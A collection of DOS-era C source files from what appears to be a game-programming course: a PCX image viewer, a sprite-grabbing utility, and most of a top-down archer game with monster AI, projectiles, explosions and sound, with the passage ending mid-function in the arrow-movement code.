// I N C L U D E S ////////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include "graph3.h" // this is all we need to include so that the program
// knows all the #defines, structures, prototypes etc.
#include "graph4.h"
#include "better4.h"
void main(int argc, char **argv)
{
pcx_picture background_pcx; // this pcx structure holds background imagery
if(argc != 2) {
printf("Usage: %s [pcxfile]\n", argv[0]);
return;
}
//graphic mode
Set_Video_Mode(VGA256);
//load and display the image
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load(argv[1], (pcx_picture_ptr)&background_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&background_pcx);
while(!kbhit()) { } //wait for keypress
Better_Fade();
//text mode
Set_Video_Mode(TEXT_MODE);
}
<file_sep>/day_04/PSPRITE.C
#include <stdio.h>
#include <string.h>
#include "graph3.h"
#include "graph4.h"
#include "better4.h"
int main()
{
char fname[20];
int r,c; //row and column index
sprite s;
pcx_picture p;
//get the file
printf("File: ");
fgets(fname, 19, stdin);
fname[strlen(fname)-1]='\0';
//get sprite width
printf("Width: ");
scanf("%d", &sprite_width);
//get sprite height
printf("Height: ");
scanf("%d", &sprite_height);
//get the row and column
printf("Row Index: ");
scanf("%d", &r);
printf("Column Index: ");
scanf("%d", &c);
// load in the players imagery
PCX_Init((pcx_picture_ptr)&p);
PCX_Load(fname, (pcx_picture_ptr)&p,0);
//load the sprite
Sprite_Init((sprite_ptr)&s,302,91,0,0,0,0);
// grab the ship from the PCX file
PCX_Grab_Bitmap((pcx_picture_ptr)&p,(sprite_ptr)&s,0,c,r);
//print the sprite info
Print_Sprite_Frame(&s, 0);
//cleanup
PCX_Delete(&p);
Sprite_Delete(&s);
}
<file_sep>/day_17/venture.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph6.h"
#include "graph9.h" // sound library
#include "graph11.h" // multitasking and keyboard interrupt driver
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void Start_Explosion(int x,int y,int speed);
void Behind_Explosions(void);
void Erase_Explosions(void);
void Draw_Explosions(void);
void Animate_Explosions(void);
void Init_Explosions(void);
void Init_Monsters(void);
void Start_Monsters(int wx,int wy);
void Save_Monsters(int wx,int wy);
void Erase_Monsters(void);
void Behind_Monsters(void);
void Draw_Monsters(void);
int Start_Monster(int x,int y);
void Move_Monsters(void);
void Start_Arrow(int x,
int y,
int xv,
int yv,
int direction);
void Erase_Arrows(void);
void Behind_Arrows(void);
void Draw_Arrows(void);
void Move_Arrows(void);
void Init_Arrows(void);
void Start_Fireball(int x,
int y,
int xv,
int yv);
void Erase_Fireballs(void);
void Behind_Fireballs(void);
void Draw_Fireballs(void);
void Move_Fireballs(void);
void Init_Fireballs(void);
void Erase_Bat(void);
void Behind_Bat(void);
void Draw_Bat(void);
void Move_Bat(void);
void Control_Bat(void);
unsigned char Get_Pixel_DB(int x,int y);
int Initialize_Sound_System(void);
void Close_Sound_System(void);
void Play_Sound(int sound);
void Do_Intro(void);
// D E F I N E S /////////////////////////////////////////////////////////////
#define DEBUG 0 // turns on/off debug information
// defines for players weapon
#define ARROW_ALIVE 1 // state of a live arrow
#define ARROW_DEAD 0 // state of a dead arrow
#define NUM_ARROWS 3 // number of arrows that can be fired
// defines for monsters weapons
#define FIREBALL_ALIVE 1 // state of a live fireball
#define FIREBALL_DEAD 0 // state of a dead fireball
#define NUM_FIREBALLS 8 // number of fireballs that can be fired
#define FIREBALL_SPEED 6 // the velocity of a fireball
#define NUM_FIREBALL_FRAMES 3 // number of frames of animation in fireball
// sequence
// general explosions
#define NUM_EXPLOSIONS 3 // number of explosions that can run at once
#define EXPLOSION_DEAD 0 // state of a dead explosion
#define EXPLOSION_ALIVE 1 // state of a live explosion
#define RED_BASE 32 // start of the reds in default palette
// game area defines
#define CELL_ROWS 12 // number of rows in the cell world
#define CELL_COLUMNS 14 // number of columns in the cell world
#define NUM_MONSTERS 8 // maximum number of monsters per screen
#define NUM_MONSTER_FRAMES 16 // number of animation frames
#define WORLD_ROWS 4 // the world is a 4x4 matrix of screens or a
#define WORLD_COLUMNS 4 // total of 16 screens
//
// .... player can be within 1 of 16 screens
// ....
// .... '.' represents a screen
// ....
// defines for monsters
#define MONSTER_DEAD 0 // the monster is dead
#define MONSTER_STILL 1 // the monster is sitting still thinking
#define MONSTER_TURN 2 // the monster is sitting and turning
#define MONSTER_CHASE 3 // the monster is chasing the player
#define MONSTER_EVADE 4 // the monster is evading the player
#define MONSTER_RANDOM 5 // the monster is moving in a random pre-selected
// direction
#define MONSTER_DYING 6 // the monster is dying
// directions for the monsters
#define MONSTER_EAST 0
#define MONSTER_WEST 1
#define MONSTER_NORTH 2
#define MONSTER_SOUTH 3
// defines for bat
#define BAT_DEAD 0 // the bat is dead, long live joker!
#define BAT_WAVE 1 // the bat is doing a sinwave across the screen
#define BAT_RANDOM 2 // the bat is moving in a random direction across
// the screen
#define NUM_BAT_FRAMES 5 // number of bat animation frames
// player defines
#define PLAYER_DEAD 0
#define PLAYER_ALIVE 1
#define PLAYER_DYING 2
// direction of player
#define PLAYER_EAST 0
#define PLAYER_WEST 1
#define PLAYER_NORTH 2
#define PLAYER_SOUTH 3
// bitmap id's for special objects
#define FLOOR_1_ID 32
#define FLOOR_2_ID 33
#define SILVER_ID 34
#define GOLD_ID 35
#define POTION_ID 36
#define FOOD_ID 37
#define ARROWS_ID 38
#define EXIT_ID 39
#define DAGGER_ID 40
// sound system defines
#define NUM_SOUNDS 16 // number of sounds in system
#define SOUND_HURT 0 // archer is hurt
#define SOUND_MDIE 1 // a monster is dying
#define SOUND_HEALTH 2 // low health
#define SOUND_MFIRE 3 // a monster firing
#define SOUND_MONEY 4 // the sound of money
#define SOUND_EAT 5 // archer eating
#define SOUND_FARROW 6 // finding arrows
#define SOUND_POTION 7 // finding a potion
#define SOUND_ARROW 8 // an arrow hiting a monster
#define SOUND_BOW 9 // the sound of the bow
#define SOUND_BAT 10 // the sound of the bat
#define SOUND_INTRO 11 // the introduction
#define SOUND_DAGGER 12 // player finding dagger
#define SOUND_END 13 // it's all over
#define SOUND_DEATH 14 // the player being killed
#define SOUND_GOAL 15
#define SOUND_DEFAULT_PORT 0x220 // default sound port for sound blaster
#define SOUND_DEFAULT_INT 5 // default interrupt
// M A C R O S //////////////////////////////////////////////////////////////
#define SET_SPRITE_SIZE(w,h) {sprite_width=w; sprite_height=h;}
// S T R U C T U R E S ///////////////////////////////////////////////////////
// this is used to track the position of a monster and it's state when the
// screen is first paged to and to recall when the screen is left and
// revisted so that mosnters that are killed stay dead and so forth
typedef struct monster_pos_typ
{
int state; // state of monster
int x,y; // position of the monster is pixel coordinates
} monster_pos, *monster_pos_ptr;
// this is the data structure that holds a single screen
typedef struct screen_typ
{
int cells[CELL_ROWS][CELL_COLUMNS]; // the data storage for cell id's
int num_monsters; // number of monsters in the screen
monster_pos positions[NUM_MONSTERS]; // this holds the state and positions
// of the monsters on entry and exit
} screen, *screen_ptr;
// typedef for a projectile
typedef struct projectile_typ
{
int x; // x position
int y; // y position
int xv; // x velocity
int yv; // y velocity
int state; // the state of the particle
int counter; // use for counting
int threshold; // the counters threshold
int counter_2;
int threshold_2;
sprite object; // the projectile sprite
} projectile, *projectile_ptr;
// typedef for the monster
typedef struct monster_typ
{
int x; // x position
int y; // y position
int xv; // x velocity
int yv; // y velocity
int state; // the state of the monster
int direction;
int counter; // use for counting
int threshold; // the counters threshold
int counter_2;
int threshold_2;
int counter_3;
int threshold_3;
sprite object; // the monster sprite
} monster, *monster_ptr;
// G L O B A L S ////////////////////////////////////////////////////////////
pcx_picture imagery_pcx, // the game imagery
background_pcx, // the backdrop
intro_pcx; // the introduction screen
// the sprites used in the game
sprite player, // the player
wall_1, // holds the blue walls bitmaps
wall_2, // holds the green walls bitmaps
floors; // holds the floor bitmaps
sprite explosions[NUM_EXPLOSIONS]; // the array of explosions
projectile arrows[NUM_ARROWS]; // the array of arrows in the world
projectile fireballs[NUM_FIREBALLS]; // the array of fireballs in the world
projectile bat; // the bat
monster monsters[NUM_MONSTERS]; // the monsters
// velocity look up tables for players arrow, east, west, north and south
int arrow_vel_x[4] = {6,-6,0,0};
int arrow_vel_y[4] = {0,0,-6,6};
int cos_look[320]; // cosine lookup table
int sqrt_table[400]; // square root look up
// players inventory
long players_score = 0; // initial score
int players_dir = PLAYER_SOUTH; // initial direction of player
int silver_pieces = 0; // amount of silver pieces player has
int gold_pieces = 0; // amount of gold pieces player has
int number_potions = 0; // number of magical potions (smart bombs)
int health = 100; // start health off at 100 percent
int num_arrows = 50; // player has 50 arrows to start with
int dagger_found = 0; // flags if the player has found the dagger
int weak_counter = 350; // used to count how many cycles before
// verbal health message is repeated
int start_death = 0; // flags if players death sequence has started
// the world
screen world[WORLD_ROWS][WORLD_COLUMNS]; // the game world
int screen_x = 0, // current active screen coordinates
screen_y = 0,
old_screen_x = 0, // last active screen coords
old_screen_y = 0,
screen_change = 0; // has there been a screen change
// the sound system variables
char far *sound_fx[NUM_SOUNDS]; // pointers to the voc files
unsigned char sound_lengths[NUM_SOUNDS]; // lengths of the voc files
int sound_available = 0; // flags if sound is available
int sound_port = SOUND_DEFAULT_PORT; // default sound port
int sound_int = SOUND_DEFAULT_INT; // default sound interrupt
// F U N C T I O N S //////////////////////////////////////////////////////////
void Start_Explosion(int x,int y,int speed)
{
// this function stars a generic explosion
int index;
SET_SPRITE_SIZE(16,16);
// scan for a useable explosion
for (index=0; index<NUM_EXPLOSIONS; index++)
{
if (explosions[index].state == EXPLOSION_DEAD)
{
// set up fields
explosions[index].state = EXPLOSION_ALIVE;
explosions[index].x = x;
explosions[index].y = y;
explosions[index].curr_frame = 0;
explosions[index].anim_speed = speed;
explosions[index].anim_clock = 0;
// scan background to be safe
Behind_Sprite_DB((sprite_ptr)&explosions[index]);
break; // exit loop
} // end if found a good one
} // end for index
} // end Start_Explosion
/////////////////////////////////////////////////////////////////////////////
void Behind_Explosions(void)
{
// this function scans under the explosions
int index;
SET_SPRITE_SIZE(16,16);
// scan for a running explosions
for (index=0; index<NUM_EXPLOSIONS; index++)
{
if (explosions[index].state == EXPLOSION_ALIVE)
{
Behind_Sprite_DB((sprite_ptr)&explosions[index]);
} // end if found a good one
} // end for index
} // end Behind_Explosions
/////////////////////////////////////////////////////////////////////////////
void Erase_Explosions(void)
{
// this function erases all the current explosions
int index;
SET_SPRITE_SIZE(16,16);
// scan for a useable explosion
for (index=0; index<NUM_EXPLOSIONS; index++)
{
if (explosions[index].state == EXPLOSION_ALIVE)
{
Erase_Sprite_DB((sprite_ptr)&explosions[index]);
} // end if found a good one
} // end for index
} // end Erase_Explosions
/////////////////////////////////////////////////////////////////////////////
void Draw_Explosions(void)
{
// this function draws the explosion
int index;
SET_SPRITE_SIZE(16,16);
// scan for a useable explosion
for (index=0; index<NUM_EXPLOSIONS; index++)
{
// make sure this explosion is alive
if (explosions[index].state == EXPLOSION_ALIVE)
{
Draw_Sprite_DB((sprite_ptr)&explosions[index]);
} // end if found a good one
} // end for index
} // end Draw_Explosions
/////////////////////////////////////////////////////////////////////////////
void Animate_Explosions(void)
{
// this function steps the explosion thru the frames of animation
int index;
// scan for a useable explosion
for (index=0; index<NUM_EXPLOSIONS; index++)
{
// test if explosion is alive
if (explosions[index].state == EXPLOSION_ALIVE)
{
// test if it's time to change frames
if (++explosions[index].anim_clock == explosions[index].anim_speed)
{
// is the explosion over?
if (++explosions[index].curr_frame == 4)
explosions[index].state = EXPLOSION_DEAD;
// reset animation clock for future
explosions[index].anim_clock = 0;
} // end if time ti change frames
} // end if found a good one
} // end for index
} // end Animate_Explosions
//////////////////////////////////////////////////////////////////////////////
void Init_Explosions(void)
{
// reset all explosions
int index;
for (index=0; index<NUM_EXPLOSIONS; index++)
explosions[index].state = EXPLOSION_DEAD;
} // Init_Explosions
//////////////////////////////////////////////////////////////////////////////
void Draw_Sprite_DBM(sprite_ptr sprite)
{
// this function draws a sprite on the screen row by row very quickly
// note the use of shifting to implement multplication
// also it is used as a special effect, the sprite drawn is melted by
// randomly selecting red pixels
char far *work_sprite;
int work_offset=0,offset,x,y;
unsigned char data;
// alias a pointer to sprite for ease of access
work_sprite = sprite->frames[sprite->curr_frame];
// compute offset of sprite in video buffer
offset = (sprite->y << 8) + (sprite->y << 6) + sprite->x;
for (y=0; y<sprite_height; y++)
{
// copy the next row into the double buffer using memcpy for speed
for (x=0; x<sprite_width; x++)
{
// test for transparent pixel i.e. 0, if not transparent then draw
if ((work_sprite[work_offset+x]))
double_buffer[offset+x] = RED_BASE+rand()%32;
} // end for x
// move to next line in double buffer and in sprite bitmap buffer
offset += SCREEN_WIDTH;
work_offset += sprite_width;
} // end for y
} // end Draw_Sprite_DBM
/////////////////////////////////////////////////////////////////////////////
void Create_Lookups(void)
{
// this function creates all the look up tables
int index; // loop index
// create cosine look up table
for (index=0; index<320; index++)
cos_look[index] = (int)(4*cos(3.14159*5*(float)index/180));
// create sqrt table
for (index=0; index<400; index++)
sqrt_table[index] = (int)((float).5 + (float)sqrt(index));
} // end Create_Lookups
///////////////////////////////////////////////////////////////////////////////
void Erase_Monsters(void)
{
// this function indexes through all the monsters and if they are active
// erases them by replacing the background color that was under them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(16,16);
for (index=0; index<NUM_MONSTERS; index++)
{
// is this monster active
if (monsters[index].state != MONSTER_DEAD)
{
// extract proper parameters
monsters[index].object.x = monsters[index].x;
monsters[index].object.y = monsters[index].y;
// erase the sprite
Erase_Sprite_DB((sprite_ptr)&monsters[index].object);
} // end if alive
} // end for index
} // end Erase_Monsters
/////////////////////////////////////////////////////////////////////////////
void Behind_Monsters(void)
{
// this function indexes through all the monsters and if they are active
// scans the background under them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(16,16);
for (index=0; index<NUM_MONSTERS; index++)
{
// is this monster active
if (monsters[index].state != MONSTER_DEAD)
{
// extract proper parameters
monsters[index].object.x = monsters[index].x;
monsters[index].object.y = monsters[index].y;
// scan behind the sprite
Behind_Sprite_DB((sprite_ptr)&monsters[index].object);
} // end if alive
} // end for index
} // end Behind_Monsters
/////////////////////////////////////////////////////////////////////////////
void Draw_Monsters(void)
{
// this function indexes through all the monsters and if they are active
// draws them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(16,16);
for (index=0; index<NUM_MONSTERS; index++)
{
// is this monster active
if (monsters[index].state != MONSTER_DEAD)
{
// extract proper parameters
monsters[index].object.x = monsters[index].x;
monsters[index].object.y = monsters[index].y;
// draw the sprite (test for dying case i.e. melting blitter)
if (monsters[index].state==MONSTER_DYING)
Draw_Sprite_DBM((sprite_ptr)&monsters[index].object);
else
Draw_Sprite_DB((sprite_ptr)&monsters[index].object);
} // end if alive
} // end for index
} // end Draw_Monsters
/////////////////////////////////////////////////////////////////////////////
void Move_Monsters(void)
{
// this function moves all the monsters
// defines the animation cells to be used when the monster is spining
static int spin_table[4] = {8,4,8,0};
int index, // loop index
change_state, // flags if a state change is needed for the current monster
mx,my, // position of monster
mdx,mdy, // amount to move monster
pdx,pdy, // delta from player
cell_x,cell_y, // cell positions
cell_id, // cell id number
animate=0; // tracks if its time to animate monster
float radicand;
// scan through monster array and test for actives
for (index=0; index<NUM_MONSTERS; index++)
{
// is this a live one
if (monsters[index].state != MONSTER_DEAD)
{
// reset state change flag
change_state = 0;
mdx=mdy=0;
// process monster
switch(monsters[index].state)
{
case MONSTER_DYING:
case MONSTER_STILL: // do nothing
{
// is it time to change state
// do nothing!
mx = monsters[index].x+8;
my = monsters[index].y+14;
mdx=mdy=0;
// reset animate flag
animate=0;
} break;
case MONSTER_TURN: // turn the monster around
{
if (++monsters[index].counter >= monsters[index].threshold)
{
// reset counter
monsters[index].counter = 0;
// increment frame to make monster look like it's spinning
monsters[index].object.curr_frame
= spin_table[monsters[index].counter_3];
if (++monsters[index].counter_3 > 3)
monsters[index].counter_3 = 0;
} // end if end change frames
mx = monsters[index].x+8;
my = monsters[index].y+14;
mdx=mdy=0;
// reset animate flag
animate=0;
} break;
case MONSTER_CHASE: // the monster is tracking the player
{
mx = monsters[index].x+8;
my = monsters[index].y+14;
// is is time to process monster
if (++monsters[index].counter >= monsters[index].threshold)
{
// reset counter
monsters[index].counter = 0;
if (player.x+8 > mx)
mdx=2;
else
if (player.x+8 < mx)
mdx=-2;
if (player.y+14 > my)
mdy=2;
else
if (player.y+14 < my)
mdy=-2;
// set animate flag
animate=1;
} // end if end process monster
} break;
case MONSTER_EVADE: // the monster is evading the player
{
// obtain center of monster
mx = monsters[index].x+8;
my = monsters[index].y+14;
// is is time to process monster
if (++monsters[index].counter >= monsters[index].threshold)
{
// reset counter
monsters[index].counter = 0;
// test where player is relative to monster and create
// trajectory vector
if (player.x+8 < mx)
mdx=2;
else
if (player.x+8 > mx)
mdx=-2;
else
mdx=0;
if (player.y+14 < my)
mdy=2;
else
if (player.y+14 > my)
mdy=-2;
else
mdy=0;
// set animate flag
animate=1;
} // end if process monster
} break;
case MONSTER_RANDOM: // the monster has selected a random direction
{
// obtain center of monster
mx = monsters[index].x+8;
my = monsters[index].y+14;
mdx=mdy=0;
// is is time to process monster
if (++monsters[index].counter >= monsters[index].threshold)
{
// reset counter
monsters[index].counter = 0;
// compute translation factors
mdx = monsters[index].xv;
mdy = monsters[index].yv;
// set animate flag
animate=1;
} // end if end process monster
} break;
default: break;
} // end switch
// try and fire a fireball
if (rand()%60==1)
{
// compute trajectory vector
pdx = player.x - monsters[index].x;
pdy = player.y - monsters[index].y;
// make sure the monster is not on top of player this would cause
// a zero in the denominator and a pole to infinity
if ((pdx+pdy)>0)
{
// normalize vector and multiple by speed
radicand = (float)pdx*(float)pdx+(float)pdy*(float)pdy;
pdx = (int)(.5+((float)FIREBALL_SPEED*(float)pdx)/sqrt(radicand));
pdy = (int)(.5+((float)FIREBALL_SPEED*(float)pdy)/sqrt(radicand));
// using computed trajectory vector throw a fireball at
// player
Start_Fireball(monsters[index].x+8,monsters[index].y+8,
pdx,pdy);
} // end if ok to start a fireball
} // end if fire a fireball
// do horizontal translation
mx+=mdx;
monsters[index].x+=mdx;
// test if a object has been hit
cell_x = mx >> 4;
cell_y = my >> 4;
cell_id = world[screen_y][screen_x].cells[cell_y][cell_x];
// test for horizontal collisions
if (mx>224-8 || mx < 8 || cell_id < 32)
{
mx-=mdx;
monsters[index].x-=mdx;
}
// do vertical translation
my+=mdy;
monsters[index].y+=mdy;
// test if a object has been hit
cell_x = mx >> 4;
cell_y = my >> 4;
cell_id = world[screen_y][screen_x].cells[cell_y][cell_x];
// test for horizontal collisions
if (my>180-8 || my < 8 || cell_id < 32)
{
my-=mdy;
monsters[index].y-=mdy;
} // end if a horizontal collision
// test if the monster is on top of the player
if ( monsters[index].state!=MONSTER_DYING &&
(mx > player.x) && (mx < player.x+16) &&
(my > player.y) && (my < player.y+16) )
{
// hurt player a little
if (--health<0)
health=0;
// play a hurt sound
if (rand()%5==1)
Play_Sound(SOUND_HURT);
} // end if player is bitting player
// do animation of monster
if (animate)
{
// move to next frame in sequence depending on direction of motion
if ((mdx!=0 && mdy!=0) || (mdx!=0 && mdy==0 ))
{
if (mdx>0)
{
// display next frame of right motion
if (++monsters[index].object.curr_frame > 3)
monsters[index].object.curr_frame = 0;
} // end if moving right
else
{
// monster moving left
if (++monsters[index].object.curr_frame > 7)
monsters[index].object.curr_frame = 4;
} // end else left motion
} // end if diagonal motion
else
if (mdy!=0 && mdx==0)
{
if (mdy>0)
{
// display next frame of downward motion
if (++monsters[index].object.curr_frame > 11)
monsters[index].object.curr_frame = 8;
} // end if moving down
else
{
// monster moving up
if (++monsters[index].object.curr_frame > 15)
monsters[index].object.curr_frame = 12;
} // end else upward motion
} // end if vertical
} // end if time to animate
// test if a state change is needed
if (++monsters[index].counter_2 >= monsters[index].threshold_2)
{
// we need to change state
change_state=1;
} // end if need to change state
// test for a pre-emptive collision
// test if there was a state change
if (change_state)
{
// test if last state was dying
if (monsters[index].state==MONSTER_DYING)
{
// kill the monster
monsters[index].state=MONSTER_DEAD;
continue;
} // end if kill monster
monsters[index].object.curr_frame = 8;
// select a new state, note the use of random numbers to create
// a probability density
switch(rand()%10)
{
case 0: // 10% chance of monster still
{
monsters[index].xv = 0;
monsters[index].yv = 0;
monsters[index].state = MONSTER_STILL;
monsters[index].direction = 0;
monsters[index].counter = 0;
monsters[index].threshold = 1 + rand()%2;
monsters[index].counter_2 = 0;
monsters[index].threshold_2 = 10 + rand()%10;
monsters[index].object.curr_frame = 8;
} break;
case 1: // 10% chance of monster turn
{
monsters[index].xv = 0;
monsters[index].yv = 0;
monsters[index].state = MONSTER_TURN;
monsters[index].direction = 0;
monsters[index].counter = 0;
monsters[index].threshold = 3 + rand()%3;
monsters[index].counter_2 = 0;
monsters[index].counter_3 = 0;
monsters[index].threshold_2 = 20 + rand()%20;
monsters[index].object.curr_frame = 8;
} break;
case 2: // 20% chance of monster random
case 3:
{
// select a direction
switch((monsters[index].direction = rand()%4))
{
case MONSTER_EAST:
{
monsters[index].xv = 2 + 2*rand()%2;
} break;
case MONSTER_WEST:
{
monsters[index].xv = -2 - 2*rand()%2;
} break;
case MONSTER_NORTH:
{
monsters[index].yv = -2 - 2*rand()%2;
} break;
case MONSTER_SOUTH:
{
monsters[index].yv = 2 + 2*rand()%2;
} break;
default: break;
} // end switch
// set up remaining fields
monsters[index].state = MONSTER_RANDOM;
monsters[index].direction = 0;
monsters[index].counter = 0;
monsters[index].threshold = 1 + rand()%2;
monsters[index].counter_2 = 0;
monsters[index].threshold_2 = 20 + rand()%20;
monsters[index].object.curr_frame = 8;
} break;
case 4: // 40% chance of monster chasing player
case 5:
case 6:
case 7:
{
monsters[index].xv = 0;
monsters[index].yv = 0;
monsters[index].state = MONSTER_CHASE;
monsters[index].direction = 0;
monsters[index].counter = 0;
monsters[index].threshold = 1 + rand()%2;
monsters[index].counter_2 = 0;
monsters[index].threshold_2 = 100 + rand()%50;
monsters[index].object.curr_frame = 8;
} break;
case 8: // 20% chance of monster evading player
case 9:
{
monsters[index].xv = 0;
monsters[index].yv = 0;
monsters[index].state = MONSTER_EVADE;
monsters[index].direction = 0;
monsters[index].counter = 0;
monsters[index].threshold = 1 + rand()%2;
monsters[index].counter_2 = 0;
monsters[index].threshold_2 = 20 + rand()%20;
monsters[index].object.curr_frame = 8;
} break;
default:break;
} // end switch
} // end if time to change state
} // end if not dead
} // end for index
} // end Move_Monsters
/////////////////////////////////////////////////////////////////////////////
int Start_Monster(int x, int y)
{
// this function is used to start a monster up
int index;
// find a monster that isn't being used
for (index=0; index<NUM_MONSTERS; index++)
{
// try and find a monster to start
if (monsters[index].state == MONSTER_DEAD)
{
// set up fields
monsters[index].x = x;
monsters[index].y = y;
monsters[index].xv = 0;
monsters[index].yv = 0;
monsters[index].state = MONSTER_STILL;
monsters[index].direction = 0;
monsters[index].counter = 0;
monsters[index].threshold = 1 + rand()%2;
monsters[index].counter_2 = 0;
monsters[index].threshold_2 = 10 + rand()%10;
monsters[index].object.curr_frame = 8;
// scan background
// extract proper parameters
monsters[index].object.x = monsters[index].x;
monsters[index].object.y = monsters[index].y;
// erase the sprite
Behind_Sprite_DB((sprite_ptr)&monsters[index].object);
// break out of loop
return(1);
} // end if dead
} // end for index
return(0);
} // end Start_Monster
/////////////////////////////////////////////////////////////////////////////
void Control_Bat(void)
{
// this function controls the bat
if (bat.state == BAT_DEAD && rand()%250==1)
{
// play sound
Play_Sound(SOUND_BAT);
// send the bat out
// first select what the bat is going to do
switch(rand()%2)
{
case 0: // move in a random direction
{
bat.state = BAT_RANDOM;
// select side of screen to start bat from
if (rand()%2==1)
{
// start bat from right edge of screen
bat.x = 224-16;
bat.xv = -4 - rand()%4;
} // end if right side
else
{
// start bat from left edge of screen
bat.x = 0;
bat.xv = 4 + rand()%4;
} // end else left side
// set y position and velocity
bat.y = rand()%164;
bat.yv = -4 + rand()%8;
} break;
case 1: // move in a sinusoidal wave
{
bat.state = BAT_WAVE;
// select side of screen to start bat from
if (rand()%2==1)
{
// start bat from right edge of screen
bat.x = 224-16;
bat.xv = -4 - rand()%4;
} // end if right side
else
{
// start bat from left edge of screen
bat.x = 0;
bat.xv = 4 + rand()%4;
} // end else left side
// set y position and velocity
bat.y = 64 + rand()%100;
bat.yv = -1 + rand()%3;
// set index into sin look up
bat.counter = 0;
bat.threshold = 1 + rand()%3; // modulate frequency of sin wave
// that bat follows
} break;
} // end switch
// set current frame
bat.object.curr_frame=0;
// get background
SET_SPRITE_SIZE(16,16);
bat.object.x = bat.x;
bat.object.y = bat.y;
Behind_Sprite_DB((sprite_ptr)&bat.object);
} // end if start bat
} // end Control_Bat
///////////////////////////////////////////////////////////////////////////////
void Move_Bat(void)
{
// this moves the bat if it is alive
if (bat.state != BAT_DEAD)
{
// first translate
bat.x+=bat.xv;
bat.y+=bat.yv;
// now test state to add on sin modulation
if (bat.state==BAT_WAVE)
{
bat.y+=cos_look[bat.counter];
// increment counter
if ((bat.counter+=bat.threshold) >= 320)
bat.counter=0;
} // end if sin state
// do animation
if (++bat.object.curr_frame >= NUM_BAT_FRAMES)
bat.object.curr_frame = 0;
// now do boundary detection
if ( (bat.x > 224-16) || (bat.x < 0) ||
(bat.y > 199-16) || (bat.y < 0) )
{
// kill bat
bat.state = BAT_DEAD;
} // end if bat went off screen
} // end if alive
} // end Move_Bat
//////////////////////////////////////////////////////////////////////////////
void Erase_Bat(void)
{
// this function erases the bat
if (bat.state != BAT_DEAD)
{
SET_SPRITE_SIZE(16,16);
bat.object.x = bat.x;
bat.object.y = bat.y;
Erase_Sprite_DB((sprite_ptr)&bat.object);
} // end if alive
} // end Erase_Bat
//////////////////////////////////////////////////////////////////////////////
void Behind_Bat(void)
{
// this function scans the background under the bat
if (bat.state != BAT_DEAD)
{
SET_SPRITE_SIZE(16,16);
bat.object.x = bat.x;
bat.object.y = bat.y;
Behind_Sprite_DB((sprite_ptr)&bat.object);
} // end if alive
} // end Behind_Mother
//////////////////////////////////////////////////////////////////////////////
void Draw_Bat(void)
{
// this function draws the mothership
if (bat.state != BAT_DEAD)
{
SET_SPRITE_SIZE(16,16);
bat.object.x = bat.x;
bat.object.y = bat.y;
Draw_Sprite_DB((sprite_ptr)&bat.object);
} // end if alive
} // end Draw_Bat
//////////////////////////////////////////////////////////////////////////////
void Erase_Arrows(void)
{
// this function indexes through all the arrows and if they are active
// erases them by replacing the background color that was under them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(8,8);
for (index=0; index<NUM_ARROWS; index++)
{
// is this arrow active
if (arrows[index].state == ARROW_ALIVE)
{
// extract proper parameters
arrows[index].object.x = arrows[index].x;
arrows[index].object.y = arrows[index].y;
// erase the sprite
Erase_Sprite_DB((sprite_ptr)&arrows[index].object);
} // end if alive
} // end for index
} // end Erase_Arrows
/////////////////////////////////////////////////////////////////////////////
void Behind_Arrows(void)
{
// this function indexes through all the arrows and if they are active
// scans the background color that is behind them so it can be replaced later
int index;
// set sprite size for engine
SET_SPRITE_SIZE(8,8);
for (index=0; index<NUM_ARROWS; index++)
{
// is this arrow active
if (arrows[index].state == ARROW_ALIVE)
{
// extract proper parameters
arrows[index].object.x = arrows[index].x;
arrows[index].object.y = arrows[index].y;
// scan begind the sprite
Behind_Sprite_DB((sprite_ptr)&arrows[index].object);
} // end if alive
} // end for index
} // end Behind_Arrows
/////////////////////////////////////////////////////////////////////////////
void Draw_Arrows(void)
{
// this function indexes through all the arrows and if they are active
// draws the missile as a bright white pixel on the screen
int index;
// set sprite size for engine
SET_SPRITE_SIZE(8,8);
for (index=0; index<NUM_ARROWS; index++)
{
// is this arrow active
if (arrows[index].state == ARROW_ALIVE)
{
// extract proper parameters
arrows[index].object.x = arrows[index].x;
arrows[index].object.y = arrows[index].y;
// draw the sprite
Draw_Sprite_DB((sprite_ptr)&arrows[index].object);
} // end if alive
} // end for index
} // end Draw_Arrrows
/////////////////////////////////////////////////////////////////////////////
void Move_Arrows(void)
{
// this function moves the arrows and does all the collision detection
int index, // used for loops
mindex, // used to index through monsters
arrow_x, // position of arrow
arrow_y,
arrow_x_center, // center of arrow
arrow_y_center,
cell_x,cell_y,cell_id; // used to test if arrow has hit a background cell
// loop thru all arrows and perform a lot of tests
for (index=0; index<NUM_ARROWS; index++)
{
// is missile active
if (arrows[index].state == ARROW_ALIVE)
{
// move the arrow
arrow_x = (arrows[index].x += arrows[index].xv);
arrow_y = (arrows[index].y += arrows[index].yv);
// compute center of arrow for ease of computations
arrow_x_center = arrow_x+4;
arrow_y_center = arrow_y+4;
// test if arrow hit an object
for (mindex=0; mindex<NUM_MONSTERS; mindex++)
{
// test arrow against bounding box of monster
if (monsters[mindex].state != MONSTER_DEAD &&
monsters[mindex].state != MONSTER_DYING &&
arrow_x_center > monsters[mindex].x &&
arrow_x_center < monsters[mindex].x+16 &&
arrow_y_center > monsters[mindex].y &&
arrow_y_center < monsters[mindex].y+16)
{
// kill the monster
monsters[mindex].state = MONSTER_DYING;
monsters[mindex].counter_2 = 0;
monsters[mindex].threshold_2 = 20;
// play the death sound
Play_Sound(SOUND_MDIE);
// kill the arrow
arrows[index].state=ARROW_DEAD;
// increase the players score
players_score+=250;
// break out of this for loop
break;
} // end if this arrow hit the monster
} // end for mindex
// test if it's hit the edge of the screen or a wall
cell_x = arrow_x_center >> 4; // divide by 16 since cells are 16x16 pixels
cell_y = arrow_y_center >> 4;
// what is the cell at this location
